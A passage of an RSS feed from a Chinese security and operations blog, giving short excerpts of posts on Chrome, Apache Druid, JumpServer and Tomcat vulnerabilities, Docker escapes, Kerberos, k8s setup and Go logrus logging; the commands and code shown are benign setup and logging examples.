&lt;p&gt;现在需求变成：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;伪造源ip对目标发包，不要求接收到返回包&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这个需求能实现吗？又是怎么实现的？这个问题乍一看很显然可以，但是细细想来还是有些问题不太明白。&lt;/p&gt;</description></item><item><title>chrome 0day rce 漏洞复现</title><link>https://saucer-man.com/information_security/613.html</link><pubDate>Thu, 22 Apr 2021 08:38:00 +0000</pubDate><guid>https://saucer-man.com/information_security/613.html</guid><description>&lt;h2 id="漏洞概述"&gt;漏洞概述&lt;/h2&gt;
&lt;p&gt;2021年4月13日，国外安全研究员在twitter发布了Chrome远程代码执行0Day的POC： &lt;a href="https://twitter.com/r4j0x00/status/1381643526010597380"&gt;https://twitter.com/r4j0x00/status/1381643526010597380&lt;/a&gt;，该漏洞可以启动计算器应用程序。&lt;/p&gt;
&lt;p&gt;&lt;img src="https://saucer-man.com/usr/uploads/2021/04/1527894524.png" alt="2021-04-21T14:46:50.png"&gt;&lt;/p&gt;
&lt;p&gt;该漏洞存在于 V8 JavaScript 引擎中，攻击者可通过构造特制web页面并诱导受害者点击访问，以此触发漏洞执行远程代码。&lt;/p&gt;
&lt;p&gt;影响版本为&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Google Chrome &amp;lt; = 89.0.4389.114（正式版）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;仅隔一天，4月14日，又有人公开了Chrome的另外一个rce漏洞：https://twitter.com/frust93717815/status/1382301769577861123&lt;/p&gt;</description></item><item><title>apache druid 漏洞总结</title><link>https://saucer-man.com/information_security/598.html</link><pubDate>Tue, 20 Apr 2021 07:49:00 +0000</pubDate><guid>https://saucer-man.com/information_security/598.html</guid><description>&lt;h1 id="1-druid是什么"&gt;1. druid是什么&lt;/h1&gt;
&lt;p&gt;Apache Druid是一个实时分析数据库，旨在对大型数据集进行快速切片和切分分析（OLAP查询）。 Druid最常用作数据库，支持应用程序实时摄入，快速查询数据。&lt;/p&gt;
&lt;h1 id="2-cve-2021-25646-rce"&gt;2. CVE-2021-25646 rce&lt;/h1&gt;
&lt;h2 id="漏洞概述"&gt;漏洞概述&lt;/h2&gt;
&lt;p&gt;Apache Druid 默认情况下缺乏授权认证，攻击者可以发送特制请求，利用Druid服务器上进程的特权执行任意代码。&lt;/p&gt;</description></item><item><title>docker-compose重建typecho博客</title><link>https://saucer-man.com/operation_and_maintenance/607.html</link><pubDate>Mon, 19 Apr 2021 16:19:00 +0000</pubDate><guid>https://saucer-man.com/operation_and_maintenance/607.html</guid><description>&lt;p&gt;最近阿里云的 ecs 快要到期了，打算继续续费，没想到我这1核2G1M的小主机一年竟然要一千多块钱，看来毕业了是真的用不了套路云了，于是打算把博客搬个家，搬到前段时间四年四百块买的良心云上去。&lt;/p&gt;
&lt;p&gt;话说我这个小博客是大一的时候利用 lnmp 搭建的，迁移起来也很麻烦，尤其是我还改过数据库的字段，直接利用 typecho 的备份功能是不行的。于是想着一劳永逸用 docker-compose 搭一套新的，下次迁移就直接复制整个目录就行了，备份数据也很方便。&lt;/p&gt;</description></item><item><title>docker安全三：k8s集群环境搭建</title><link>https://saucer-man.com/operation_and_maintenance/653.html</link><pubDate>Sat, 20 Mar 2021 04:04:00 +0000</pubDate><guid>https://saucer-man.com/operation_and_maintenance/653.html</guid><description>&lt;p&gt;文章汇总：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://saucer-man.com/operation_and_maintenance/542.html"&gt;docker安全一：docker的实现原理&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://saucer-man.com/information_security/547.html"&gt;docker安全二：容器逃逸的常见方式&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://saucer-man.com/operation_and_maintenance/653.html"&gt;docker安全三：k8s集群环境搭建&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;vmware 准备的虚拟机环境：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;master 192.168.179.133 ubuntu20.04&lt;/li&gt;
&lt;li&gt;node1 192.168.179.132 ubuntu20.04&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;1.设置hostname&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# node1执行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo hostnamectl set-hostname node1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;127.0.0.1 node1.localdomain node1&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sudo tee -a /etc/hosts
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# master执行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo hostnamectl set-hostname master
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;127.0.0.1 master.localdomain master&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sudo tee -a /etc/hosts
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;2.环境对齐，在所有节点上都需要执行&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. 禁止swap分区
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo swapoff -a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo vi /etc/fstab 修改/etc/fstab，注释掉swap那行，持久化生效
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. 对齐时区
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo timedatectl set-timezone Asia/Shanghai
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo systemctl restart rsyslog
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. 加载br_netfilter模块
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsmod &lt;span class="p"&gt;|&lt;/span&gt; grep br_netfilter
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;如果没有，执行
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo modprobe br_netfilter
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo sysctl --system
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;3.在所有节点上安装docker&lt;/p&gt;</description></item><item><title>docker安全二：容器逃逸的常见方式</title><link>https://saucer-man.com/information_security/547.html</link><pubDate>Sat, 20 Feb 2021 12:30:00 +0000</pubDate><guid>https://saucer-man.com/information_security/547.html</guid><description>&lt;p&gt;文章汇总：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://saucer-man.com/operation_and_maintenance/542.html"&gt;docker安全一：docker的实现原理&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://saucer-man.com/information_security/547.html"&gt;docker安全二：容器逃逸的常见方式&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://saucer-man.com/operation_and_maintenance/653.html"&gt;docker安全三：k8s集群环境搭建&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;目前的 Docker 逃逸的原因可以划分为三种：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;由内核漏洞引起 ——Dirty COW(CVE-2016-5195)&lt;/li&gt;
&lt;li&gt;由 Docker 软件设计引起——CVE-2019-5736、CVE-2019-14271&lt;/li&gt;
&lt;li&gt;由配置不当引起——开启privileged（特权模式）+宿主机目录挂载（文件挂载）、sock通信方式、docker Remote API未授权&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这里总结了现在常见的逃逸手段，如果有遗漏，欢迎补充交流。&lt;/p&gt;</description></item><item><title>docker安全一：docker的实现原理</title><link>https://saucer-man.com/operation_and_maintenance/542.html</link><pubDate>Sun, 07 Feb 2021 07:19:00 +0000</pubDate><guid>https://saucer-man.com/operation_and_maintenance/542.html</guid><description>&lt;p&gt;文章汇总：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://saucer-man.com/operation_and_maintenance/542.html"&gt;docker安全一：docker的实现原理&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://saucer-man.com/information_security/547.html"&gt;docker安全二：容器逃逸的常见方式&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://saucer-man.com/operation_and_maintenance/653.html"&gt;docker安全三：k8s集群环境搭建&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;近年来容器化越来越火，docker,k8s成为应用部署的主流方式。当我们复现漏洞的时候，都习惯于使用docker，快速方便，统一环境，何况需要分布式，高可用的服务。&lt;/p&gt;
&lt;p&gt;所以当你拿到了shell，进行后渗透的时候，也许还在别人的容器中遨游，为了突破这种困境，所以尝试总结一下docker的安全性问题，包括docker的原理和逃逸手段，后续也许会更新k8s的安全问题。&lt;/p&gt;</description></item><item><title>jumpserver 远程执行漏洞分析和复现</title><link>https://saucer-man.com/information_security/520.html</link><pubDate>Sun, 17 Jan 2021 14:29:00 +0000</pubDate><guid>https://saucer-man.com/information_security/520.html</guid><description>&lt;h2 id="0-简介"&gt;0 简介&lt;/h2&gt;
&lt;p&gt;JumpServer是一款开源的堡垒机，是符合4A规范的运维安全审计系统，通俗来说就是跳板机。&lt;/p&gt;
&lt;p&gt;2021年1月15日，JumpServer发布安全更新，修复了一处远程命令执行漏洞。由于JumpServer某些接口未做授权限制，攻击者可构造恶意请求获取敏感信息，或者执行相关操作控制其中所有机器，执行任意命令。&lt;/p&gt;</description></item><item><title>ctf中的python ssti</title><link>https://saucer-man.com/information_security/516.html</link><pubDate>Tue, 01 Dec 2020 12:34:00 +0000</pubDate><guid>https://saucer-man.com/information_security/516.html</guid><description>&lt;p&gt;好久没打ctf了，最近打了场，感觉有些trick还是需要记下来。&lt;/p&gt;
&lt;h2 id="1什么是ssti"&gt;1.什么是ssti&lt;/h2&gt;
&lt;p&gt;ssti服务端模板注入，和sql注入没什么区别，本质上都属于输入可控，注入代码，然后执行。&lt;/p&gt;
&lt;p&gt;ssti不仅存在于某一种语言，很多模板渲染引擎都可以执行代码。以python为例，看一个简单的例子:&lt;/p&gt;</description></item><item><title>tomcat常用漏洞汇总</title><link>https://saucer-man.com/information_security/507.html</link><pubDate>Tue, 10 Nov 2020 15:28:00 +0000</pubDate><guid>https://saucer-man.com/information_security/507.html</guid><description>&lt;p&gt;总结以下tomcat的一些常见漏洞&lt;/p&gt;
&lt;h2 id="example目录操纵session"&gt;example目录操纵session&lt;/h2&gt;
&lt;p&gt;Apache Tomcat默认安装包含”/examples”目录，里面存着众多的样例，其中session样例(/examples/servlets/servlet/SessionExample)允许用户对session进行操纵。因为session是全局通用的，所以用户可以通过操纵session获取管理员权限。&lt;/p&gt;</description></item><item><title>kerberos 入门篇</title><link>https://saucer-man.com/operation_and_maintenance/488.html</link><pubDate>Thu, 15 Oct 2020 11:07:00 +0000</pubDate><guid>https://saucer-man.com/operation_and_maintenance/488.html</guid><description>&lt;h1 id="1概述"&gt;1.概述&lt;/h1&gt;
&lt;p&gt;Kerberos源自古希腊神话中的三头狗，是一种计算机网络授权协议，用来在非安全网络中，向另一个实体以一种安全的方式证明自己的身份。&lt;/p&gt;
&lt;p&gt;Kerberos协议基于对称密码学，并需要一个值得信赖的第三方。&lt;/p&gt;
&lt;p&gt;基本上，Kerberos可以归结为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一种认证协议&lt;/li&gt;
&lt;li&gt;使用票证进行身份验证&lt;/li&gt;
&lt;li&gt;避免将密码存储在本地或通过互联网发送&lt;/li&gt;
&lt;li&gt;涉及受信任的第三方&lt;/li&gt;
&lt;li&gt;基于对称密钥密码学&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="2基本概念"&gt;2.基本概念&lt;/h1&gt;
&lt;p&gt;在Kerberos协议中主要是有三个角色的存在：&lt;/p&gt;</description></item><item><title>linux端口复用隐藏后门</title><link>https://saucer-man.com/operation_and_maintenance/586.html</link><pubDate>Thu, 24 Sep 2020 03:21:00 +0000</pubDate><guid>https://saucer-man.com/operation_and_maintenance/586.html</guid><description>&lt;h1 id="1-socket绑定端口的常识"&gt;1. socket绑定端口的“常识”&lt;/h1&gt;
&lt;p&gt;在socket绑定端口中，我们都知道有以下几个特点：：&lt;/p&gt;
&lt;p&gt;socket可以指定绑定到一个特定的ip和port，例如绑定到192.168.1.11:9000上；
同时也支持通配绑定方式，即绑定到本地&amp;quot;any address&amp;quot;（例如一个socket绑定为 0.0.0.0:21，那么它同时绑定了所有的本地地址）；
默认情况下，任意两个socket都无法绑定到同一个源IP地址和源端口。比如以下几种情况都会出错。&lt;/p&gt;</description></item><item><title>初识deb包的制作</title><link>https://saucer-man.com/operation_and_maintenance/484.html</link><pubDate>Thu, 10 Sep 2020 05:35:00 +0000</pubDate><guid>https://saucer-man.com/operation_and_maintenance/484.html</guid><description>&lt;h1 id="1deb包是什么"&gt;1.deb包是什么&lt;/h1&gt;
&lt;p&gt;deb是Debian软件包格式，文件扩展名为.deb。&lt;/p&gt;
&lt;p&gt;Debian包是Unixar的标准归档，将包文件信息以及包内容，经过gzip和tar打包而来。所以deb包本质是一个压缩包文件，里面包含一些特定的目录和文件，安装过程就是dpkg程序按照指定的规则去拷贝文件和执行脚本。&lt;/p&gt;</description></item><item><title>golang logrus库</title><link>https://saucer-man.com/backend_development/572.html</link><pubDate>Tue, 08 Sep 2020 16:23:00 +0000</pubDate><guid>https://saucer-man.com/backend_development/572.html</guid><description>&lt;p&gt;&lt;strong&gt;golang 的笔记,内容多来源于互联网，放这里方便查找。&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="基本用法"&gt;基本用法&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;os&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;github.com/sirupsen/logrus&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="c1"&gt;// 设置日志格式为json格式&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;SetFormatter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;JSONFormatter&lt;/span&gt;&lt;span class="p"&gt;{})&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="c1"&gt;// 设置将日志输出到标准输出（默认的输出为stderr,标准错误）&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="c1"&gt;// 日志消息输出可以是任意的io.writer类型&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;SetOutput&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Stdout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="c1"&gt;// 设置日志级别为warn以上&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;SetLevel&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;InfoLevel&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;A group of walrus emerges from the ocean&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Warn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;The group&amp;#39;s number increased tremendously!&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="日志分割切片"&gt;日志分割切片&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;time&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;rotatelogs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;github.com/lestrrat-go/file-rotatelogs&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;github.com/sirupsen/logrus&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;./go.log&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="cm"&gt;/* 日志轮转相关函数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;	`WithLinkName` 为最新的日志建立软连接
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;	`WithRotationTime` 设置日志分割的时间，隔多久分割一次
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;	WithMaxAge 和 WithRotationCount二者只能设置一个
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;	 `WithMaxAge` 设置文件清理前的最长保存时间
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;	 `WithRotationCount` 设置文件清理前最多保存的个数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;	*/&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="c1"&gt;// 下面配置日志每隔 1 分钟轮转一个新文件，保留最近 3 分钟的日志文件，多余的自动清理掉。&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;writer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;rotatelogs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;		&lt;/span&gt;&lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;.%Y%m%d%H%M&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;		&lt;/span&gt;&lt;span class="nx"&gt;rotatelogs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;WithLinkName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;
